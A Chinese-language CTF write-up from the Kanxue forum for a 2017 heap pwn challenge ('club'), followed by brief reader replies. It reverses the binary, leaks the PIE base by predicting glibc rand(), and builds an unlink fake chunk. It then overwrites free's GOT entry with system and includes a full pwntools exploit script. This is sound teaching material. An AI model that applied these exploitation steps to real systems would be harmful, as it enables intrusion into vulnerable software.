首页
社区
课程
招聘
[原创]看雪TSRC_2017秋季赛第四题---------WriteUp
2017-11-7 00:42 7473

[原创]看雪TSRC_2017秋季赛第四题---------WriteUp

2017-11-7 00:42
7473
 

这是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。

0x00 信息收集

使用checksec club可以查看到以下信息。(用python的pip工具安装pwntools包后就可以使用checksec了,安装命令为 pip install pwntools 下载慢可以找下清华园的镜像)

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

简单介绍一下含义:

  • RELRO: RELocation Read-Only, 重定向只读,可以防止GOT表被修改,这里没有开启这个保护,所以我们可以修改GOT表,来替换函数原本的功能。
  • Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。
  • NX: No Execute,栈不可执行,windows上的DEP。
  • PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化, 程序每次启动基址都随机,所以一旦开启这个,就要想办法得到程序基址。

小结: 需要找程序基址,GOT表可以利用。

0x01 流程分析

用ida进行静态分析,可以看到流程很清晰,首先程序菜单如下:

.text:0000000000000AA3                 lea     rdi, aYouHave6Operat ; "You have 6 operation :"
.text:0000000000000AAA                 call    _puts
.text:0000000000000AAF                 lea     rdi, a1GetABox  ; "1) get a box"
.text:0000000000000AB6                 call    _puts
.text:0000000000000ABB                 lea     rdi, a2DestoryABox ; "2) destory a box"
.text:0000000000000AC2                 call    _puts
.text:0000000000000AC7                 lea     rdi, a3LeaveMeAMessa ; "3) leave me a message in box"
.text:0000000000000ACE                 call    _puts
.text:0000000000000AD3                 lea     rdi, a4ShowMessageIn ; "4) show message in box"
.text:0000000000000ADA                 call    _puts
.text:0000000000000ADF                 lea     rdi, a5GuessARandomN ; "5) guess a random number"
.text:0000000000000AE6                 call    _puts
.text:0000000000000AEB                 lea     rdi, a6Exit     ; "6) exit"
.text:0000000000000AF2                 call    _puts

分别来看下每个选项的做用

  • 先看1号功能get a box

    IDA F5后代码如下,相关全局变量的做用已经在分析后rename了

      puts("Which box do U want to get?");
      puts("1) little");
      puts("2) small");
      puts("3) normal");
      puts("4) big");
      puts("5) huge");
      printf("> ");
      v1 = getInput();
      if ( v1 <= 0 || v1 > 5 )
        return puts("It's not a box!");
      if ( boxUsed[v1] )
        return puts("You already have the box!");
      if ( !boxSize[v1] )
      {
        puts("Input the size you want to get:");
        printf("> ");
        v2 = getInput();
        if ( (signed int)calcMinSize((unsigned int)v1) > v2 || 
              (signed int)calcMaxSize((unsigned int)v1) < v2 )
          return puts("the size is invalid!");
        boxSize[v1] = v2;
      }
      boxBuff[v1] = malloc(boxSize[v1]);
      boxUsed[v1] = 1;
      return puts("You have got the box!");
    

    可以看出,这个功能号就是用来申请一个堆空间,不过这里对大小有限制,分别由calcMinSizcalcMaxSize来计算当前申请的堆空间是不是满足条件。

    在看申请堆大小限制前先去看下这些全局变量的部局。

      .data:0000000000202090 ; signed int boxSize[7]
      .data:0000000000202090 boxSize         dd 8                    ; DATA XREF: calcMinSize+20↑o
      .data:0000000000202090                                         ; calcMinSize+3B↑o ...
      .data:0000000000202090                 dd 0
      .data:0000000000202090                 dd 0
      .data:0000000000202090                 dd 0
      .data:0000000000202090                 dd 0
      .data:0000000000202090                 dd 0
      .data:0000000000202090                 dd 1000h
      ... ...
      ... ...
      .bss:0000000000202100 ; void *boxBuff[6]
      .bss:0000000000202100 boxBuff         dq ?                    ; DATA XREF: sub_C29+170↑o
      .bss:0000000000202100                                         ; sub_DDB+D2↑o ...
      .bss:0000000000202108                 dq ?
      .bss:0000000000202110                 dq ?
      .bss:0000000000202118                 dq ?
      .bss:0000000000202120                 dq ?
      .bss:0000000000202128                 dq ?
      .bss:0000000000202130 ; _DWORD boxUsed[6]
      .bss:0000000000202130 boxUsed         dd 6 dup(?)             ; DATA XREF: sub_C29+9F↑o
    

    boxSize数组有7个元素,第0跟第6个元素已经被设定了初始值,第1到第5为0 这5个元素就是用来记录申请到的box的大小。 而第0跟第6是用来限制堆大小的,等下看到calcMinSizecalcMaxSize就会明白。
    boxBuff没有特殊,第1到第5总共5个元素用来记录申请的box的堆地址。
    boxUsed没有特殊,第1到第5总共5个元素用来记录5种box类型哪些已经被使用了。

    接着来看一下堆大小的限制。

      __int64 __fastcall calcMinSize(int a1)
      {
        int i; // [rsp+0h] [rbp-4h]
    
        for ( i = a1; i > 0 && !boxSize[i]; --i )
          ;
        return (unsigned int)(boxSize[i] + 0x10);
      }
    
      __int64 __fastcall calcMaxSize(signed int a1)
      {
        signed int i; // [rsp+0h] [rbp-4h]
    
        for ( i = a1; i <= 5 && !boxSize[i]; ++i )
          ;
        return (unsigned int)(boxSize[i] - 0x10);
      }
    

    由以上代码可以看出,申请的当前空间要比排它前面的大0x10比排在它后面的小0x10,又由于boxSize的第0与第6个元素被初始化为了8和0x1000所以我们可以申请的堆大小范围在0x18 ~ 0xFF0之间。

    get a box中的代码功能分析完毕,并且没有发现漏洞存在。继续看下一个功能。

  • 2号功能destory a box

      puts("Which box do U want to destroy?");
      puts("1) little");
      puts("2) small");
      puts("3) normal");
      puts("4) big");
      puts("5) huge");
      printf("> ");
      v1 = getInput();
      if ( v1 <= 0 || v1 > 5 )
        return puts("It's not a box!");
      if ( !boxUsed[v1] || isCanRelease[v1] )
        return puts("You can not destroy the box!");
      free(boxBuff[v1]);
      return puts("You have destroyed the box!");
    

    这里出现了一个新的全局变量isCanRelease

      .data:00000000002020B0 ; _DWORD isCanRelease[6]
      .data:00000000002020B0 isCanRelease    dd 1 
      .data:00000000002020B4                 dd 1
      .data:00000000002020B8                 dd 0
      .data:00000000002020BC                 dd 0
      .data:00000000002020C0                 dd 1
      .data:00000000002020C4                 dd 1
    

    结合程序逻辑可以看出,只有smallnormal类型的box可以被free。并且由于free后没有重置boxUsed的值,所以每种类型的box只能使用一次,这里还有一个很明显的漏洞存在,free后的buffer指针没有被清空,所以可能导致double free的利用。

  • 3号功能leave me a message in box

      puts("Which box do U want to leave me message?");
      puts("1) little");
      puts("2) small");
      puts("3) normal");
      puts("4) big");
      puts("5) huge");
      printf("> ");
      v3 = getInput();
      if ( v3 > 0 && v3 <= 5 )
      {
          fflush(stdout);
          if ( boxUsed[v3] )
          {
            for ( i = 0; boxSize[v3] >= i; ++i )
            {
              read(0, &buf, 1uLL);
              if ( buf == 10 )
                break;
              *((_BYTE *)boxBuff[v3] + i) = buf;
            }
          }
          else
          {
            puts("You can not leave me message in the box!");
          }
      }
      else
      {
          puts("It's not a box!");
      }
    

    向box中写入数据,这里也有一个漏洞,写入次数比buffer多了一字节,所以可以用off-by-one,我没有用这种方式来利用,所以这里给一个off-by-one相关资料

  • 4号功能show message in box

      puts("Which box do U want to see?");
      puts("1) little");
      puts("2) small");
      puts("3) normal");
      puts("4) big");
      puts("5) huge");
      printf("> ");
      v1 = getInput();
      if ( v1 <= 0 || v1 > 5 )
          return puts("It's not a box!");
      if ( boxUsed[v1] )
          return puts((const char *)boxBuff[v1]);
      return puts("You can not see message in the box!");
    

    这里到没有什么多说的,很单纯的显示buffer内容,可以用来泄露地址。

  • 5号功能guess a random number

      v1 = rand();
      puts("Please input the number you guess:");
      printf("> ");
      if ( v1 == (unsigned int)getInput() )
          result = printf("G00dj0b!You get a secret: %ld!\n", *(_QWORD *)&seed);
      else
          result = printf("Wr0ng answer!The number is %d!\n", v1);
      return result;
    

    很好玩的小游戏,预测伪随机数,猜中了返回随机种子,猜错了会告诉你正确的随机数,这里的随机种子就是seed的全局变量的地址,由于程序开启了PIE所以这里是获取程序基址的地方。

  • 6号功能exit

      puts("What's your name?");
      printf("> ");
      fflush(stdout);
      read(0, src, 0x10uLL);
      dest = (char *)malloc(0x20uLL);
      strcpy(dest, src);
      return printf("Thanks for your coming, %s\n", dest);
    

    输入个名字,打印信息并退出,没有利用点。

小结: 可以通过猜随机数获取程序基址,利用free时不清空buffer指针来构造堆中数据和使用double free

0x02 堆溢出的一些资料

这部分主要是给自己做个记录,第一次玩堆,看了很多文章,这几篇不错的记录一下备忘。

0x03 构造payload

相关知识了解了以后,就要根据本题的实际情况来构造payload了

获取加载基址

首先先通过猜伪随机数来获取程序的加载基址,怎么去预测伪随机数,这里有篇文章写的很好。Linux随机数分析

 

看过文章可以得到一个公式 r[i] = (r[i-3] + r[i-31]) & 0x7fffffff

 

获取基址的代码如下:

def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)

print '[+]guess'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
#先获取前31个随机数
for i in range(31):
    lstRand.append(guess(i))

#因为偶尔会有1的误差,所以猜3次
for i in range(31, 33):
    rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(rnd))
    tmp = p.recvline()
    if 'G00dj0b' in tmp:
        baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
        p.recvuntil('> ')
        break
    p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)

unlink

由于只有smallnormal的box可以free,所以先创建normalbig,然后释放掉normal,之后再创建littlesmall,并通过normal的指针来构造fake chunk,下面结合实际代码与内存来演示如何构造fake chunk

  1. 首先申请400与450大小的normal boxbig box,释放normal box,再申请150与200大小的little boxsmall box,这样normal boxlittle box的指针是同一个地址,又由于本程序中写入数据只看指针与box大小,所以此时的normal box的指针可以同时操作little boxsmall box的内存,这样就可以来构造fake chunk, 代码如下:

     def createBox(index, size):
         p.sendline('1')
         p.recvuntil('> ')
         p.sendline(str(index))
         p.recvuntil('> ')
         p.sendline(str(size))
         p.recvuntil('> ')
    
     def freeBox(index):
         p.sendline('2')
         p.recvuntil('> ')
         p.sendline(str(index))
         p.recvuntil('> ')
    
     def writeMsg(index, msg):
         p.sendline('3')
         p.recvuntil('> ')
         p.sendline(str(index))
         p.sendline(msg)
         p.recvuntil('> ')
    
     createBox(3, 400)
     createBox(4, 450)
     freeBox(3)
    
     createBox(1, 150)
     createBox(2, 200)
    

    以上代码执行后内存数据如下:

     little,normal > 0000558DC84DA410  00 00 00 00 00 00 00 00  A1 00 00 00 00 00 00 00 
                     0000558DC84DA420  E8 3C 4E 39 EB 7F 00 00  E8 3C 4E 39 EB 7F 00 00
                     0000558DC84DA430  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA440  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA450  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA460  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA470  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA480  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA490  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4B0  00 00 00 00 00 00 00 00  D1 00 00 00 00 00 00 00
             small > 0000558DC84DA4C0  58 3B 4E 39 EB 7F 00 00  58 3B 4E 39 EB 7F 00 00
                     0000558DC84DA4D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA500  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA510  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA520  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA530  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA540  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA550  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA560  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA570  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA580  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00
               big > 0000558DC84DA590  58 3B 4E 39 EB 7F 00 00  58 3B 4E 39 EB 7F 00 00
                     0000558DC84DA5A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA5B0  30 00 00 00 00 00 00 00  D0 01 00 00 00 00 00 00
    
  2. 开始布置fake chunk的内存数据,就用上面的地址来描述,fake chunkprev sizesize放在0x0000558DC84DA4200x0000558DC84DA428处,0x0000558DC84DA430处开始写入fdbk,由于unlink新增加的检测,所以这里需要分别写入一个指向fake chunk头部的指针的地址减0x18和0x14,这样就能满足FD->bk == p && BK->fd == p,p表示当前chunk,FD表示当前chunkfd指向的chunk, BK表示当前chunkbk指向的chunk,所以这里选择全局变量boxBuff - 0x18boxBuff - 0x10的地址来写入。

    然后还要修改0x0000558DC84DA4B0处的prev size0x0000558DC84DA4B8处表示前chunk是否空闲的最低位为0这样当释放此处的堆时会因为向前合并而调用unlink,所以这里根据实际情况,写入0x900xD0,构造fake chunk后内存布局如下(A为填充数据,不影响结果):

     little,normal > 0000558DC84DA410  00 00 00 00 00 00 00 00  A1 00 00 00 00 00 00 00 
                     0000558DC84DA420  00 00 00 00 00 00 00 00  90 00 00 00 00 00 00 00
                     0000558DC84DA430  F0 C0 C4 C6 8D 55 00 00  F8 C0 C4 C6 8D 55 00 00
                     0000558DC84DA440  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA450  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA460  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA470  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA480  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA490  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA4A0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41
                     0000558DC84DA4B0  90 00 00 00 00 00 00 00  D0 00 00 00 00 00 00 00
             small > 0000558DC84DA4C0  2F 62 69 6E 2F 73 68 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA4F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA500  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA510  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA520  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA530  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA540  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA550  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA560  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA570  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA580  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00
               big > 0000558DC84DA590  58 3B 4E 39 EB 7F 00 00  58 3B 4E 39 EB 7F 00 00
                     0000558DC84DA5A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
                     0000558DC84DA5B0  30 00 00 00 00 00 00 00  D0 01 00 00 00 00 00 00
    
  3. small box进行free操作,触发unlink,使得0x0000558DC6C4C108处的指针指向0x0000558DC6C4C0F0,因此可以通过对0x0000558DC6C4C108进行写入来覆盖自身的指针到任意位置,造成任意地址读写,这里选择覆盖为free的plt表地址,这样就可以通过读取free的plt表的值来计算system的地址,然后再用计算出来的system的地址覆盖plt表中free的地址,这样下次使用free时实际调用的就是system,free的指针就是/bin/sh串的起始地址,就能get shell

完整的利用脚本如下:

from pwn import *

context.arch = 'amd64'
p = process('./club')  
libc = ELF('./libc-2.24.so')
#p = remote('123.206.22.95', 8888)
#libc = ELF('./libc.so.6')
#context.log_level = 'debug'

def writeMsg(index, msg):
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.sendline(msg)
    p.recvuntil('> ')

def createBox(index, size):
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')

def freeBox(index):
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')

def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)

if __name__ == '__main__':
    print '[+]guess random number'
    p.recvuntil('> ')
    baseAddr = 0
    lstRand = []
    for i in range(31):
        lstRand.append(guess(i))

    for i in range(31, 33):
        rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
        p.sendline('5')
        p.recvuntil('> ')
        p.sendline(str(rnd))
        tmp = p.recvline()
        if 'G00dj0b' in tmp:
            baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
            p.recvuntil('> ')
            break
        p.recvuntil('> ')

    print '[+]baseAddr:' + hex(baseAddr)
    print '[+]begin make fake chunk'
    createBox(3, 400)
    createBox(4, 450)
    freeBox(3)
    createBox(1, 150)
    createBox(2, 200)

    boxbuff = baseAddr + 0x202100
    print '[+]boxbuff:' + hex(boxbuff)
    payload = p64(0) + p64(0x90) + p64(boxbuff-0x10) + p64(boxbuff-0x8) + 'A'*0x70 + p64(0x90) + p64(0xD0) + '/bin/sh\x00' + '\0' * 0x20
    writeMsg(3, payload)

    print '[+]begin unlink'
    freeBox(2)

    print '[+]modify free to system'
    freeAddr = baseAddr + 0x202018
    print '[+]freed@plt:' + hex(freeAddr)
    freeOff = libc.symbols['free']
    systemOff = libc.symbols['system']
    payload2 = p64(0) + p64(0) + p64(0) + p64(freeAddr)
    writeMsg(1, payload2)
    p.sendline('4')
    p.recvuntil('> ')
    p.sendline('1')
    tmp = p.recvline(keepends=False)
    p.recvuntil('> ')
    print '[+]free addr:' + hex(u64(tmp.ljust(8, "\0")))
    systemAddr = u64(tmp.ljust(8, "\0")) - freeOff + systemOff
    print '[+]system addr:' + hex(systemAddr)
    writeMsg(1, p64(systemAddr))

    print '[+]get shell'
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline('2')
    p.interactive()

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 206
活跃值: (98)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
星星当空照 2017-11-10 17:15
2
0
分析的好清楚,符合我胃口,顶一个
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 2017-11-10 19:27
3
0
不错!!
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Jiangxinxin 2017-11-26 22:07
4
0
整体过程很清晰,学习中
雪    币: 6
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sfc不知道 2017-12-5 22:55
5
0
学习了!
雪    币: 6
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sfc不知道 2017-12-5 22:56
6
0
还想问下师傅,如何学习pwn
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 2018-7-21 16:58
7
0
写的很好
游客
登录 | 注册 方可回帖
返回